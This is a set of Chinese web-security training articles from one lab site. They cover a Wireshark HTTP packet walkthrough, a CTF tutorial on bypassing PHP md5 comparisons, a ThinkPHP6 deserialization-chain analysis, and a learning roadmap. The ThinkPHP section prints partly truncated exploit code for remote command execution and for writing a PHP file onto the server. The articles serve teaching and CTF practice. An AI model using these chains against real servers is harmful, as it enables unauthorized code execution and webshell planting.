通用 头域既可以用在 请求消息中,也可以用在应答消息。
HTTP通用头域
Header 解释 Cache-Control Cache-Control指定请求和响应遵循的缓存机制,可以附带很多的规定值。 Connection 表示是否需要持久连接 Date 表示消息发送的时间 Pragma Pragma头域用来包含实现特定的指令,最常用的是Pragma:no-cache,用于定义页面缓存 Trailer 表示以Chunked编码传输的实体数据的尾部存在哪些头域 Transfer-Encoding WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked),例如:Transfer-Encoding: chunked Up
只有在请求和应答消息中包含实体数据时, 才需要实体头域。 请求消息中的实体数据是一些由浏览器向web服务器提交的数据,如在浏览器中采用POST方式提交表单时,浏览器就要把表单中的数据封装在请求消息的实体数据部分。应答消息中的实体数据是web服务器发给浏览器的媒体数据,如网页,图片和文档等。实体头域说明了实体数据的一些属性。如下表
HTTP实体头域
Header 解释 Allow 列出由请求URI标识的资源所支持的方法集 Content-Encoding 说明实体数据是如何编码的 Content-Language 说明实体数据所采用的自然语言 Content-Length 说明实体数据的长度 Content-Location 说明实体数据的资源位置 Content-MD5 给出实体数据的 MD5值,用于保证实体数据的完整性 Content-Range 用于指定整个实体中的一部分的插入位置,他也指示了整个实体的长度。在服务器向客户返回一个部分响应,它必须描述响应覆盖的范围和整个实体长度 Content-Type 用于向接收方指示实体的介质
3 分析GET方法的HTTP数据包
我们 以HTTP-Get 数据包为例 ,分析GET 方法的HTTP 请求和响应数据包。
分析HTTP请求包
我们 打开数据包,输入过滤条件ip.addr == 10.1.1.33,如下
前三个 是TCP 的三次握手,第四个 数据包则是客户端向服务器 发送的HTTP 请求包,我们来学习分析下,
HTTP 之前的协议,本次我们 不做讲解, 不懂的同学可以看之前的实验,我们来看下HTTP 协议。
Hypertext Transfer Protocol
GET / HTTP/1.1\r\n # 请求行信息
Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n # 专家信息
GET / HTTP/1.1\r\n
Severity level: Chat
Group: Sequence
Request Method: GET # 请求方法为 GET
Request URI: / # 请求的 URI
Request Version: HTTP/1.1 # 请求的版本为HTTP/1.1
Host: 10.1.1.33:8080\r\n # 请求的主机
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n # 浏览器类型
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n # 请求的类型
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n # 请求语言
Accept-Encoding: gzip, deflate\r\n # 请求的编码格式
Connection: keep-alive\r\n # 使用持久连接
\r\n #空行
Full request URI: http://10.1.1.33:8080/ # 请求的 URI 为10.1.1.33:8080
HTTP request 1/8
Response in frame: 2770 #应答 是第2770 帧
Next request in frame: 2775 # 下一个请求是第2775 帧
以上 就是HTTP 请求包的相关信息,可以看到客户端使用HTTP/1.1版本 向服务器发送了GEY 请求,请求 访问10.1.1.33 的 服务器。 将以上 信息填入到报文 格式中,如下
GET方法的HTTP请求报文格式
GET 空格 / 空格 HTTP/1.1 \r \n Accept : text/html,application/xhtml+xml,application/xml \r \n … Connection : keep-alive \r \n \r \n Full request URI: http://10.1.1.33:8080/
分析HTTP响应包
根据请求包 的信息,我们已经知道, 响应包是第2770 帧 ,下面我们来看下
在HTTP 之前,我们看到了 下图显示的,TCP重组 片段, 这些片段共有2270 个 字节,由于超过 了TCP 数据包的最大数据分段(MSS ),所以将数据在TCP 层进行了分段。 从下面 的信息,可以看到 分断后的数据包及包大小,如#2767 (247 ), 其中2767 表示 帧号,大小 为247 个 字节。
下面 来看HTTP 的具体 部分
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n # 响应行信息
Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n #专家 信息
HTTP/1.1 200 OK\r\n #HTTP 响应信息,响应码为200
Severity level: Chat
Group: Sequence
Request Version: HTTP/1.1 # 请求吧
Status Code: 200 # 状态码
Response Phrase: OK # 响应短语
Content-Type: text/html\r\n # 响应的内容类型
Content-Length: 2023\r\n #包 的长度
Content length: 2023
Accept-Ranges: bytes\r\n #服务器支持 的请求:字节
Server: HFS 2.3 beta\r\n # 服务器类型
Set-Cookie: HFS_SID=0.248448607278988; path=/; \r\n # 设置 Http Cookie
Cache-Control: no-cache, no-store, must-revalidate, max-age=-1\r\n # 缓存控制
Content-Encoding: gzip\r\n # 实体数据的压缩格式
\r\n # 空行
HTTP response 1/8 #HTTP 响应
Time since request: 0.015248000 seconds # 响应使用的时间
Request in frame: 2763 # 请求的帧号为2763
Next request in frame: 2775 # 下一个请求 的 帧号2775
Next response in frame: 2778 #下一个响应 的帧号是2778
Content-encoded entity body (gzip): 2023 bytes -> 4375 bytes #内容 编码(gzip )
Line-based text data: text/html # 基于行的文本数据
根据 以上信息,可以知道服务器使用HTTP/1.1 200 OK 响应了 客户端的请求。将信息 填入到报文格式中,如下
GET方法的HTTP响应报文格式
HTTP/1.1 空格 200 空格 OK \r \n Content-Type : text/html \r \n … Content-Encoding : gzip \r \n \r \n 省略
4 分析POST方法的HTTP数据包
分析HTTP请求包
下面 我们以HTTP-Post 为例,分析 POST 方法的 HTTP 请求和响应。打开 数据包,输入过滤条件ip.addr ==10.1.1.33, 显示 出的HTTP 中,Info列中还有POST 的即可 ,如下
我们 展开分析下
Hypertext Transfer Protocol #HTTP 协议
POST /hfs2_3b287/ HTTP/1.1\r\n # 请求行
Expert Info (Chat/Sequence): POST /hfs2_3b287/ HTTP/1.1\r\n #专家 信息
POST /hfs2_3b287/ HTTP/1.1\r\n
Severity level: Chat
Group: Sequence
Request Method: POST # 请求方法为 POST
Request URI: /hfs2_3b287/ # 请求 的URI
Request Version: HTTP/1.1 #请求 的版本
Host: 10.1.1.33:8080\r\n # 使用的主机
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n # 使用的浏览器类型
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n # 浏览器接受的类型
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n # 希望使用的语言
Accept-Encoding: gzip, deflate\r\n # 可使用的编码格式,这里是 gzip 和 deflate
Referer: http://10.1.1.33:8080/hfs2_3b287/\r\nhttp://10.1.1.33:8080/hfs2_3b287/\r\n #从 包含的URL 页面发起请求
Cookie: HFS_SID=0.248448607278988\r\n #Cookie信息
Cookie pair: HFS_SID=0.248448607278988
Authorization: Basic ZGVtbzpkZW1v\r\n #授权 证书信息
Credentials: demo:demo # 登录的用户名密码
Connection: keep-alive\r\n # 使用持久连接
Content-Type:multipart/form-data;boundary=---------------------------54542580413055\r\n # 请求的内容类型
Content-Length: 367\r\n # 包的长度
Content length: 367
\r\n # 空行
Full request URI: http://10.1.1.33:8080/hfs2_3b287/ # 请求的 URI 为http://10.1.1.33:8080/hfs2_3b287/
HTTP request 1/6
Response in frame: 3800 # 响应的帧号
Next request in frame: 3802 # 下一个请求的 正好
以上 就是使用POST 方法的 HTTP 请求包,可以看到请求的连接及登录的用户名密码等。将上面 的信息填入到报文格式中,如下
POST方法的HTTP请求报文格式
POST 空格 /hfs2_3b287/ 空格 HTTP/1.1 \r \n Accept : text/html,application/xhtml+xml,application/xml \r \n … Content-Length : 367 \r \n \r \n 忽略
另外 ,我们 在HTTP 的下面,看到了如下的内容
类型 的Multipart/form-data 是上传文件的一种方式。 Multipart/form-data 其实就是浏览器用表单上传文件的方式。最常见的情境是:在写邮件时,向邮件后添加附件,附件通常使用表单添加,也就是用 multipart/form-data 格式上传到服务器。我们 实验中向 服务器上传了一个文件,所以就是此类型。
在 看Wireshark中 的使用
首先看wireshark 中字段与 Multipart/form-data 的对应关系: MIME Multipart Media Encapsulation :代表整个 Multipart/form-data 上传文件中的数据。
Encapsulated multipart part :代表表单中不同部分的数据。
Boundary :用来隔开表单中不同部分的数据。
其次,
1) MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "---------------------------54542580413055"
这行指出这个请求是 multipart/form-data 格式的,且 boundary 是 “----------54542580413055” 这个字符串。
2 )关于 Boundary : Boundary :用来隔开表单中不同部分的数据。实际上,每部分数据的开头都是由 “--”+boundary 开始的(这是 MIME 标准中讲述的标准内容)。
3 ) Encapsulated multipart part :紧跟着 boundary 的是该部分数据的描述:
Content-Dispostion:form-data;name="Filename"\r\n
每一个 part 至少一个 name 和一个 content 部分。
可以从 上面的multipart/form-data中 ,看到我们上传的文本名字为http-post.txt, 内容为“This is demo for HTTP POST”。
分析HTTP响应包
根据Wireshark 现实的响应包帧数,我们来看下第3800 帧 。
Hypertext Transfer Protocol #HTTP 协议
HTTP/1.1 200 OK\r\n # 响应行
Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n #专家 信息
HTTP/1.1 200 OK\r\n # 响应信息
Severity level: Chat
Group: Sequence
Request Version: HTTP/1.1 # 请求版本
Status Code: 200 # 状态码
Response Phrase: OK #响应 短语
Content-Type: text/html\r\n # # 响应包类似
Content-Length: 570\r\n # 响应包长度
Content length: 570
Accept-Ranges: bytes\r\n #服务器支持 的请求:字节
Server: HFS 2.3 beta\r\n #web 服务器类型
Content-Encoding: gzip\r\n # 实体数据的压缩格式
\r\n #空行
HTTP response 1/6 # 响应
Time since request: 0.008774000 seconds # 响应请求的时间
Request in frame: 3798 #请求 的帧号
Next request in frame: 3802 # 下一个请求的帧号
Next response in frame: 3804 # 下一个响应的 帧号
Content-encoded entity body (gzip): 570 bytes -> 866 bytes #内容 编码(gzip )
Line-based text data: text/html # 文本内容
以上 就是POST 方法的 HTTP 响应包,可以看到服务器向客户端发送了 HTTP/1.1 200 OK响应 了HTTP 请求包。服务器类型为HFS 2.3 beta, 将数据填入到报文格式中
POST方法的HTTP响应报文格式
HTTP/1.1 空格 200 空格 OK \r \n Server : HFS 2.3 beta \r \n … Content-Encoding : gzip \r \n \r \n 省略
实验中我们 讲解了 主要的GET和POST 方法, 可以抓包 考虑, 学习其他的方法,动手提高能力 。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
浅谈md5弱类型比较和强碰撞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
前言
在CTF中,md5的题目太常见了,虽然有很多这方面的文章,但相对来说比较零散,这里主要将自己学习和比赛时遇到的md5弱类型和强碰撞的题目从浅到深地梳理一下。
本文涉及知识点实操练习:浅谈md5弱类型比较和强碰撞 相关实验:https://www.yijinglab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356(本课程旨在提供一些CTF题目给对CTF感兴趣的朋友们,让大家通过这些题目学习到相关知识。)
基本知识
php中有两种比较的符号==与=====在进行比较的时候,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。
0e开头且都是数字的字符串,弱类型比较都等于0。
==比较
测试代码
<?php if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) { if (md5($_POST['a']) == md5($_POST['b'])) echo 'flag'; else echo 'you are wrong'; } else echo "请输入不同的a,b值"; }
解法1
由于md5不能加密数组,在加密数组的时候会返回NULL
所以,我们可以传入两个数组
解法2
可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。可以查找以0e开头md5加密相等的字符串,也可以自己编写代码,提供以下脚本。
<?php for($a=1;$a<=1000000000;$a++){ $md5 = md5($a); if(preg_match('/^0e\d+$/',$md5)){ echo $a; echo "\n"; echo $md5; echo "\n"; } }
s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030
===比较
<?php if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) { if (md5($_POST['a']) === md5($_POST['b'])) echo 'flag'; else echo 'you are wrong'; } else echo "请输入不同的a,b值"; } ?>
解法1:
也可以传入两个数组,但不再适合传入两个0e开头的字符串,因为===是md5的强碰撞,进行了严格的过滤。
解法2:
使用md5加密后两个完全相等的两个字符串来绕过过滤。
如何生成两个不一样的字符串,但是MD5是一样的呢。参考https://xz.aliyun.com/t/2232后,我们可以使用快速MD5碰撞生成器来构建两个MD5一样,但内容完全不一样的字符串。
http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
构造
创建一个文本文件,写入任意的文件内容,命名为ywj.txt (源文件)
运行fastcoll输出以下参数。-p 是源文件,-o是输出文件
fastcoll_v1.0.0.5.exe -p ywj.txt -o 1.txt 2.txt
测试
对生产的1.txt和2.txt文件进行测试
<?php function readmyfile($path){ $fh = fopen($path, "rb"); $data = fread($fh, filesize($path)); fclose($fh); return $data; } echo '二进制md5加密 '. md5( (readmyfile("1.txt"))); echo "</br>"; echo 'url编码 '. urlencode(readmyfile("1.txt")); echo "</br>"; echo '二进制md5加密 '.md5( (readmyfile("2.txt"))); echo "
可以看到,1.txt和2.txt文件二进制md5加密后的结果完全相同。由于1.txt和2.txt文件中含有不可见字符,所以需要将其url编码后使用。可以看到url编码后的两个字符串不完全相同,满足我们输入两个不同参数的需要。
当题目限制不能传入数组,只能传入字符串时,如下例题,就只能采用解法2.
<?php if((string)$_GET['a'] !== (string)$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){ echo "you are right"; } else { echo "you are wrong"; }
HECTF ezphp
源码
<?php error_reporting(0); highlight_file(__file__); include('flag.php'); $string_1 = $_GET['str1']; $string_2 = $_GET['str2']; if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){ if(is_numeric($string_1)){ $md5_1 = md5($string_1);
首先查看一些strtr()函数的用法:
strtr() 函数转换字符串中特定的字符。
观察源码,要求传入四个参数,首先param1===param2,因为没有别的限制,所以我们可以传入两个数组。对于是str1和str2,首先str1只能是数字,且最后$a == $b,但md5_1 != md5_2,所以我们不能传入两个md5加密后以0e开头的字符串。
又因为会将md5加密后的str1和str2中的cxhp替换成0123,也就是说c会被替换成0,所以一个ce开头的字符串会被替换成0e开头的字符串。
可以想到只要找到两个md5加密后是ce开头的字符串,或者一个md5加密后是ce开头的字符串,一个md5加密后是0e开头的字符串就可以绕过过滤。
构造脚本
这是一开始的脚本,返回值少,且执行速度慢。
<?php for($a=1;$a<=1000000000;$a++){ $md5 = md5($a); if(preg_match('/^ce\d+$/',$md5)){ echo $a; echo "\n"; echo $md5; echo "\n"; } }
这是进一步优化的脚本
<?php for($a = 1; $a <= 100000000; $a++) { $md5 = strtr(md5($a),'cxhp', '0123'); if(preg_match('/^0e\d+$/', $md5)) { echo $a; echo "\n"; echo $md5; echo "\n"; } } ?>
实战演练
<?php function random() { $a = rand(133,600)*78; $b = rand(18,195); return $a+$b; } $r = random(); if((string)$_GET['a']==(string)md5($_GET['b'])){ if($a.$r == $b) { print "Yes,you are right"; } else { print "you are wrong"; } } ?>
观察代码,有一个rondom方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让$a.$r == $b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,前面我们已经知道,以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。所以保证$a以0e开头就可以了,因为$r是一串数字,所以$a.$r在php中还是可以被解析为0。因为$b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。
你想在靶场学习CTF技术吗?
thinkphp6的另反序列化分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
Forward
之前分析过tp6的一个链;当时是利用__toString方法去进行的中转,从而实现前后两个链的链接,这次是两个另外链条;利用的是可控类下的固定方法进行中转;开始分析;
首先环境可以composer一键搭建,然后php think run进行跑起来就可;
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDb06f-9bfa-4e0a-80af-36af7391a643(通过该实验了解ThinkPHP5远程命令执行漏洞的原因和利用方法,以及如何修复该漏洞。)
text
首先的想法就是利用析构函数进行最开始的触发;然后一路追踪魔法函数去进行一步一步的推导;首先找到魔法函数在AbstractCache类下;
protected $autosave = true; public function __destruct(){ if (! $this->autosave) { $this->save(); }}
其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;
回溯save方法;在CacheStore中找到了save方法;具体代码如下;
public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);}
可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}
发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) {
首先在这里看到了array_flip方法;这个方法是将数组的键名和键值进行替换;然后数组赋值给$cachedProperties变量;然后将我们传入的参数按照$path和$object的格式来进行各个遍历;然后将键名经过is_array方法的判断如果为true则进行后续的函数处理;否则就直接return $content这个数组;经过这一系列操作完之后,最终是return到了save函数里;然后接着去进行 $this->store->set($this->key, $contents, $this->expire);这里我们发现store也可控;那么就有两种思路,第一个就是去实例化一个有set
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) {
这里可利用点在后面的serialize方法;直接追溯一下;
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}
这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;
这里放出我自己写的exp;
<?php#bash回显;网页不回显;namespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['`id`']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCa
最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作;
通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的;
下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/
下面也讲述一下;利用链和之前的是一样的;就是最后需要掌控一下filename和data的内容;我们可以看到如下图;
在最后的时候会有一个data的拼接,我本来想着在格式化那里尝试引入,但是格式化已经写死了,不能利用非法字符进行污染格式化引入危险代码;所以只能在最后的data处进行写入拼接;现在就是要控制data了;其实这里data是调用了serialize方法,追溯一下不难发现是将数组option中的serialize的键值拿出来套在了data前面;其实本质上也无大碍;但是这里有个小坑;因为是$serialize($data);所以这里要求这样的搭配必须是正确的,如果你随意传入函数,造成比如adsf($data);这样类型的不规则函数,就会导致报错,从而无法进行;
明白了这一点其实还有一个小坑;其实option的内容我们是可控的;那么我们就可以控制serialize的键值进行传入;但是这里因为之前进行了json_encode所以一般的函数最后构成的格式都无法进行base64解密;但是这里有个例外,我测试了serialize函数,发现经过序列化之后,我们可以正常进行base64解密;大概是因为可以构成字符串的原因吧;这里放出我的exp;
<?phpnamespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends Abst
另外可能有很多师傅困惑在可写目录的问题,这里我才用了虚目录的方法将其定位到了public目录之下;就在path参数那里可以体现;
最后访问结果是执行phpinfo;当然也可以写入system这样的命令执行函数;造成木马利用;
这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
这都学不好Web安全 你真的太让我失望了
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
Web安全浅析
在探讨Web安全学习之前,首先了解一下什么是Web
看到这里,你可能会问:这么多内容都需要学习吗?
答案是:可以不用学得很深入,但是如果不了解这些研究对象,是不可能搞好的安全研究的。(原话来自余弦大佬在知乎的回答)
那么这么多内容应该从哪里开始学呢?别急,等了解完什么是Web安全再学也不迟。
把Web服务各层串联起来的就是数据流,掌握了数据流就能知道数据在每层是如何处理的。而在数据流中有一个关键的协议,就是HTTP协议,搞明白HTTP协议后,你就会明白一个专业术语“输入输出”。黑客通过输入提交‘特殊数据’,‘特殊数据’在数据流的每个层处理,如果其中某一层没处理好,在输出的时候,就会出现相应层的安全问题,也就是本文的重点——Web安全。
例如:
操作系统:数据如果在操作系统层上没处理好,可能会产生命令执行等安全问题;
存储:数据如果在存储层上没处理好,可能会产生SQL注入等安全问题;
Web容器:数据如果在Web容器层中没处理好,可能会产生远程溢出、DoS等安全问题;
Web服务端语言:代码审计对于安全人员来说也是一项重要技能;
Web开发框架/Web应用:数据如果在这里没处理好,可能会产生命令执行等安全问题;
Web前端框架:数据如果在Web前端框架中没处理好,可能会产生XSS跨站脚本等安全问题;
到这里可以看出“输入输出”对于安全的重要性了吧。
接下来的内容都是干货
初步了解了什么是Web以及容易产生的一些安全问题,下面具体来说说入门Web安全应该学什么,怎么学。
还是从Web服务说起,操作系统层具体分为Windows和Linux,Windows又有Win10、Win8、Win7、WindowsServer 2016、WindowsServer 2012、WindowsServer 2008、WindowsServer 2003等版本,主要了解它们的安全配置及相关漏洞。
Windows系统安全配置:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916560700001&通过学习Windows系统安全配置课程,基本了解Windows操作系统的安全加固方法
Windows系统加固:
http://www.yijinglab.com/expc.doec=ECID172.19.104.182015070809494300001这也是和Windows系统安全加固相关的实验。
还有很多Windows相关的比如文件系统备份、用户管理、日志清理、用户口令破解等知识,都可以在
http://www.yijinglab.com/pages/search.html?wk=Windows进行学习。
而Linux又有CentOS、Redhat、Ubuntu、Debian、Fedora、openSUSE等诸多发行版本,说到Linux,不得不提那本被推荐了无数遍的——《鸟哥的Linux私房菜》
http://cn.linux.vbird.org/纯文字的阅读难免让人感觉枯燥,作者更喜欢一边学习一边动手操作:
Linux入门最佳实践:
http://www.yijinglab.com/cour.do?w=1&c=CCID7ca1-dae5-48f4-8dd6-d8b6c2b5938b&课程包括Linux的发展、文件管理基础命令、管道命令、账户及系统管理等
存储层主要分为数据库存储、内存存储和文件存储,其中数据库有MySQL、Oracle、MSSQL、access、MongoDB、Redis等,数据库是SQL**注入**学习的基础。
MySQL数据库相关基础学习:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709474200001了解MySQL表的结构与内容,增加用户及授权,删除用户等操作。
MongoDB安全配置:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016030216511800001实验介绍了MongoDB数据库及其安全攻防实践,通过学习此实验了解MongoDB的基本操作和安全特性。
Redis数据库安全实践:
http://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015052010331700001&
系统性的SQL、MySQL学习也可以到w3cschool上进行。
Web容器包括Apache、IIS和Nginx,这里推荐几个集合环境软件:
php集合环境软件phpStudy:
http://www.phpstudy.net/phpstudy/phpStudy20161103.zip
jsp集合环境软件jspStudy:
http://www.phpstudy.net/phpstudy/JspStudy.zip
ASP集合环境软件小旋风ASP服务器:
http://www.jb51.net/softs/35167.html
第一个phpStudy集合了Apache、MySQL和PHP,将Web源码放到phpStudy里就搭建好了自己的Web服务器。具体教程自行百度,这里就不放链接了。
Web服务端语言:前面提到了代码审计,入门Web安全其实不需要对语言进行系统性的学习,这样很浪费时间,只要平时在分析漏洞原理、查看目标网站源代码等时候,对重要的函数、方法等有所了解,能够举一反三即可。
PHP基础:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001&通过基础实验了解PHP语言,为后续的学习打下基础。
PHP代码审计:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916230700001&通过此实验学习PHP代码审计的基础知识及PHP常见危险函数
Web框架/应用:开发框架包括Struts2、React、Django、thinkPHP等,前端框架包括jQuery、Bootstrap、HTML5、semanticUI、Pure等,Web应用包括BBS,blog,discuz、metinfo、Joomla等各种CMS,不需要大家用这些框架搭建Web应用,只需要了解各框架/CMS存在哪些漏洞,其原理、利用以及如何进行修复等。
横向的学习路径介绍完,开始纵向学习数据流之《HTTP从入门到放弃》。
协议这个东西光靠看书学习很费劲,有什么快速掌握的途径吗?
还真的有,通过学习一些入门的HTTP**协议**,然后浏览器F12看看‘Network’标签里的HTTP请求响应,结合wireshark等协议分析软件,不出几个小时,就大概能知道HTTP协议是什么了。
HTTP协议基础:
http://www.yijinglab.com/expc.do?ce=08398307-4303-4dde-bcfc-e8bd67f2e772
wireshark数据抓包分析之HTTP协议:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001掌握wireshark的基本操作,加深对HTTP协议的理解。
通过wireshark分析其他协议:
http://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015012915332000001&
梳理完Web服务的学习,下面正式开始入门Web安全,掌握了下面这些,就算Web安全入门了。
一、命令执行
命令执行漏洞:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017050511014000001通过实验了解命令执行漏洞产生的原因,学习漏洞的利用和修复。
ImageMagick命令执行漏洞:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016072212485000001由于大量的Web程序都使用了ImageMagic的拓展,导致本地命令执行漏洞在Web环境里可以被远程触发,危害巨大。
Memcached远程命令执行漏洞:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016111016360600001
通过实验学习memcached远程命令执行漏洞的利用及修复方法。
还有很多命令执行漏洞的学习实例:
http://www.yijinglab.com/pages/search.html?wk=%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C
二、SQL注入
包括布尔盲注、时间盲注、报错注入、联合查询注入、宽字节注入、二次注入等。
渗透SQL注入:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916131700001&在入门之前先了解SQL注入的原理:
SQL注入初级:
http://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014081415242400001&九个实验带你入门SQL注入:
[公开课]有一种注入叫SQL注入:
http://www.yijinglab.com/expc.do?ce=f18c2a12-c43d-4469-871f-6cb1cbf5a821从SQL语句基础到SQL注入漏洞形成原理和实战利用,让你认识什么是SQL注入。
三、文件上传
包括客户端绕过js检查进行上传及服务端绕过后缀及内容检查进行上传,服务端绕过又包括特殊后缀欺骗上传、配合解析漏洞上传、截断上传等。
文件上传漏洞:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017042513351500001学习文件上传漏洞产生的原因,以及如何利用和修复。
[公开课]玩转文件上传漏洞:
http://www.yijinglab.com/expc.do?ce=5a965bc3-29d8-4658-a203-be1a144219ff通过此公开课学习文件上传漏洞产生的原因,以及文件上传绕过的各种姿势。
kindEditor文件上传漏洞分析和利用:
http://www.yijinglab.com/expc.do?ce=85d2566f-1161-47fa-b23c-0a5ac5649f07kindEditor编辑器组件最近爆出的文件上传漏洞,通过实验还原入侵过程,了解漏洞原理和防护方法。
四、文件包含
包括本地文件包含和远程文件包含。
文件包含漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060917272000001
简单的文件包含:
五、溢出、Dos
缓冲区溢出基础与实践:
http://www.yijinglab.com/expc.do?ec=9613f998-8cd2-4981-9bc5-9900c97371de通过实验了解缓冲区溢出的原理与危害,掌握缓冲区溢出的基本方法,学会进行常见的缓冲区溢出攻击。
缓冲区溢出漏洞调试与分析:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040109201500001利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重启等后果。
实战挖掘某ftp服务器溢出漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015091110221500001了解ftp服务漏洞的表现形式及利用方法。
六、跨站脚本攻击(XSS)
包括反射型XSS、存储型XSS及DOM型XSS。在学习XSS前,应该熟悉HTML/CSS及JavaScript,否则很难研究好XSS。
HTML基础:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017041911340800001了解HTML的基本结构和标签。
JavaScript基础:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017041815391500001了解什么是JavaScript,了解DOM操作和BOM操作。
渗透XSS:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916134500001&学习XSS漏洞原理,以及如何利用XSS漏洞对目标系统进行渗透测试。
七、跨站请求伪造(CSRF)
分为GET型和POST型。
渗透CSRF:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916141200001&八、XML外部实体注入攻击(XXE)
